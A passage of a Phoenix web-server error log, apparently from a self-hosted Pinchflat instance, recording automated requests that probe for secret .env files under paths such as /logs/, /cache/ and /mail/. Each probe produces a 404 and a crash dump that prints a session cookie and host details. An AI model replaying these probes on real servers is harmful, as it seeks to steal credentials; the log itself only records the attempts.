{"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/logs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6xUls1dQcu4AASXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 152, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 152, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.469 [info] GET /cache/.env 02:10:19.470 [debug] QUERY OK source="settings" db=0.4ms idle=186.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.470 [debug] QUERY OK source="settings" db=0.1ms idle=119.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.470 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.471 [error] #PID<0.3457.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 153) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cache/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 153, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3457.0>, params: %{}, path_info: ["cache", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cache/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6xh_B0A_nfwAASYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 153, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 153, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.524 [info] GET /mailer/.env 02:10:19.525 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=173.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.525 [debug] QUERY OK source="settings" db=0.2ms idle=111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.526 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.526 [error] #PID<0.3458.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 154) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mailer/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailer/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailer/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 154, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3458.0>, params: %{}, path_info: ["mailer", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mailer/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6xvFEWrrjTUAASZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailer/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 154, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailer/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailer/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 154, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:19.586 [info] GET /mail/.env 02:10:19.587 [debug] QUERY OK source="settings" db=0.4ms idle=172.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.587 [debug] QUERY OK source="settings" db=0.2ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.587 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.588 [error] #PID<0.3459.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 155) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mail/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 155, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3459.0>, params: %{}, path_info: ["mail", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mail/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6x916TYKs5oAASaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 155, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 